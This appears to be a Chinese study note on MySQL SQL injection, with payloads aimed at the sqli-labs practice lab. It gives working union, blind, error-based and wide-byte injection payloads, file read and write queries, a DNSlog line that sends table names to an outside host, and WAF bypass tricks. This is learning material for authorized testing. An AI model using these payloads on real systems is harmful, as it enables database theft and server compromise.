文章目录
渗透千万条,安全第一条
WARNING:
- 授权渗透,备份数据后渗透;
- 在不确定危害的前提下,避免在update、insert、delete种类的注入点进行注入;
- 避免使用工具进行上述注入;
- 避免使用sqlmap的–dump功能;
什么是SQLi
前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果。
SQLi危害
- 从技术上来说:未授权、非法增删改查数据库内容,包括窃取信息、删除数据库、读写系统文件、执行命令等等;
- 从影响上来说:客户数据丢失、系统交易数据被篡改、网站首页被篡改。
SQLi分类
-
按照后台处理前端提交参数的类型来分,分两类:数字型注入和字符型注入。
-
按照请求方式分:GET、POST
-
按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。
如何发现SQLi?
-
确认是否是动态网站
-
找到可能与后台数据库产生交互的位置,测试是否是注入点。
SQLi的利用步骤?
联合查询>报错>布尔盲注>延时盲注
宽字节注入、二次注入(代码审计)
MySQL注释符
# 单行,从‘#’字符从行尾
--空格 单行,从‘-- ’序列到行尾
/* 允许注释跨越多行 */
MySQL基础函数
-
substr(var1, var2, var3)
功能:从字符串里截取其中一段字符(串)
- var1:被截取的字符串
- var2:从哪一位开始截取
- var3:截取长度
-
ascii(var)
功能:取var字符的ascii码(十进制)
-
user()
取得 当前登陆的用户,相当于问 MySQL whoami 的意思。 -
if(var1,var2,var3)
var1:条件
var2:条件为真时返回的值
var3:条件为假时返回的值
-
sleep(var)
暂停执行var秒,var可以用小数
SQL基础语句
更改记录
update user set name='xiaoming', passwd='123456' where id=2;
update 表名 set 列名1=“值1”, 列名2=“值2” where 条件语句;
URL编码
目标
了解get请求后到底是编码还是解码,要传送目标字符串到后端,到底该先编码还是解码然后输入到地址栏中。
原理
get请求会对URL编码的字符进行自动解码传送到后端
例子
%23:#
+:空格
%2B:+
MySQL联合查询注入
优先级
union > 报错 > 布尔盲注 > 延时盲注
思路及步骤
-
判断是否动态网站
-
找注入点
-
判断数字型、字符型
-
如果是字符型,则需要判断闭合符
-
如果尝试作为闭合符的字符并非是闭合符,那么它会被当成普通字符处理,不会报错(报错不等同于查询不出来);
-
如果尝试作为闭合符的字符是闭合符中的一个,那么会报错;
-
尝试多个输入点进行判断,尤其是要发掘新功能的输入点。
-
-
猜测后台SQL语句
select 1,u,p from t_users where id = '1' limit 0, 1;
- 判断列数
二分法
select u,p from t_users where id = '1' order by 10%23' limit 0, 1;
- 找显示位
- 给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3%23……
-
确定一个显示位进行查询
-
查库名
- database()
- security(所查库名)
access数据库管理系统是没有库的,不用做一步。
- 查表名
union select 1,2,group_concat(table_name), 4, 5 from information_schema.tables where table_schema = 'double_fish';--+
- emails,referers,uagents,users(所查表名)
注意: information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
- 查列名
union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema = 'double_fish' and table_name = 't_admin';--+
- id,username,password(所查列名)
- 查记录
union select 1,2,group_concat(concat_ws(",", "<br>", id,username,password)) from users;--+
查找库名、表名、列名应该找对显示位,比如下面这条查记录的语句就不能正常执行
union select 1,2,group_concat(username), group_concat(password),5 from users;--+
重点
掌握查询当前库名的函数database();
掌握判断闭合符的方法;
掌握information_schema库与SQL注入相关的用法;
掌握union查询及其条件;
掌握concat、concat_ws、group_concat的用法;
掌握双引号等特殊字符的查询,要用到转义符\;
理解二分法在联合查询中的作用。
布尔盲注
Payload构造思路
-
猜测SQL语句;
-
确定闭合符;
-
观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回包的差异)
-
构造查询布尔条件
- 原理:通过截取想要查询字符串的一个字符,将其ascii码与数字进行二分对比,逼近该字符的ascii值。
- 步骤一:确定待查询字符串的长度:length()
- 步骤二:构造布尔语句比对逐字符确定对应ascii码值,拼凑出待查询的字符串
延时盲注
使用场景:除了对时间函数敏感外,由于后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同结果。
if(),sleep(),benchmark()
- 猜测后台SQL语句
- 确定场景
- 判断闭合符
- 构造一个明显会延时的if()语句拼接到条件语句(where)后
- 再依次尝试添加待确定的闭合符
- 如果延时,则尝试的闭合符正确
- 利用闭合符进行闭合,将条件语句(if)中的第一个参数构造成我们想通过比大小的查询的语句;
- 如果第一个参数返回真,则后端延迟返回内容。反之,立即返回(网络延迟除外);
- 网络延迟的情况下,根据网络延迟大小,调整延迟时间以便能够区分后端延迟还是网络延迟;
- 按照之前布尔盲注后续步骤进行查询。
写文件
SELECT “123” INTO OUTFILE “c:/123.txt";
SELECT “123abc” INTO DUMPFILE “c:/123.txt”;
注:dumpfile可以处理非可见字符。
要使用联合查询写文件,不能使用and或者or拼接写文件
条件
-
绝对路径
-
File_priv
开关需要是打开状态select file_priv from mysql.user;
-
secure_file_priv
默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。
select @@global.secure_file_priv;
- 设置为空,那么对所有路径均可进行导入导出。
- 设置为一个目录名字,那么只允许在该路径下导入导出。
- 设置为Null,那么禁止所有导入导出。
读文件
select load_file("路径和文件名");
load data infile()
;
load data infile 和 load data local infile ,不受 secure-file-priv 的限制
表单注入
-
表单注入和GET注入区别?
特殊字符,如注释符是否需要编码是不同的。
-
判断是否是POST注入
-
猜测后台SQL语句
-
猜测闭合符
-
猜测列数
-
找显示位
-
……
条件语句中or的认识
or前面为真,分两种情况:
-
or后面为假:返回一条记录
-
or后面为真:返回所有记录。
测试注释步骤
两种闭合符:单引号和双引号
四种方式:1、单引号;2、双引号;3、单引号后面跟1到多个)圆括号;4、双引号后面跟1到多个)圆括号。
猜测后台SQL语句,select,update
insert、update、delete注入
**使用报错注入,后台报错开关是打开的。
报错注入模板
原理1——薛定谔之报错注入
双(查询)注入,又称floor报错注入
,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
1、union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
2、and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --+
count(*)是必须带上的。
限制:
1、输出字符长度限制为?个字符
2、后台返回记录列数至少2列
原理2 updatexml报错注入
首先了解下updatexml()函数
updatexml (xml_document, xpath_string, new_value);
第一个参数:xml_document是string格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
限制1:输出字符长度限制为32个字符
限制2:仅payload返回的不是xml格式,才会生效
用的最多,所以被禁用的也最广。故不推荐此方式
强制性让要读取的数据类型不符合规划。然后让不符合的数据类型报错出来。
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
原理3 ExtractValue报错注入
模板1:
and extractvalue('anything',concat('/',(Payload)))
不推荐使用。
模板2:
union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23
不存在丢失报错成果的情况。
例子
限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
地址1
http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
地址2
http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
地址3
http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))%23
其他模板
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
LIKE注入
SELECT * FROM Websites WHERE name LIKE '%xxx%';
宽字节注入
西欧字母符号,通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码就是用两个字节来表示中文区字符的一个编码标准。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE(高字节从81到FE,低字节从40到FE),剔除xx7F码位,共23940个码位。
条件
后台使用GBK编码的时候,存在着看不见的ascii码转换为GBK编码的转换过程,可以使用宽字节注入。
原理
编码转换存在着单字符被合并的情形
反斜杠对应url编码%5c,是单字节的。
在%5c前再加入一个单字节字符%dd(范围可以是81到FE之间),就成了%dd%5c
而当后端使用GBK编码的时候,会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。
dnslog带外查询数据
and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".xxx.dnslog.cn\\xsy.txt"))%23
MySQL注入绕过
- 编码字符串
- char(),如select(char(67,58,92,92,84,69,83,84,46,116,120,116));
- 16进制编码,如0x633a2f77616d702f7777772f666c61672e747874
- hex
- unhex(),如
select convert(unhex(‘E698A5E79CA0’) using utf8); - to_base64(), from_base64():mysql 5.6后支持
- 过滤绕过:
- and->&&
- or->||
- =、>、<用between()函数、like关键字绕过
- 空格->+,/**/
- limit 0,1用limit 0 offset 1绕过
- substr用mid、substring绕过
- sleep用benchmark绕过
- 大小写绕过
- 内外双写绕过
- 内联注释绕过/**/
- %00等空白符嵌入绕过WAF
- 超大数据包绕过
- 双提交绕过
- 异常请求方法绕过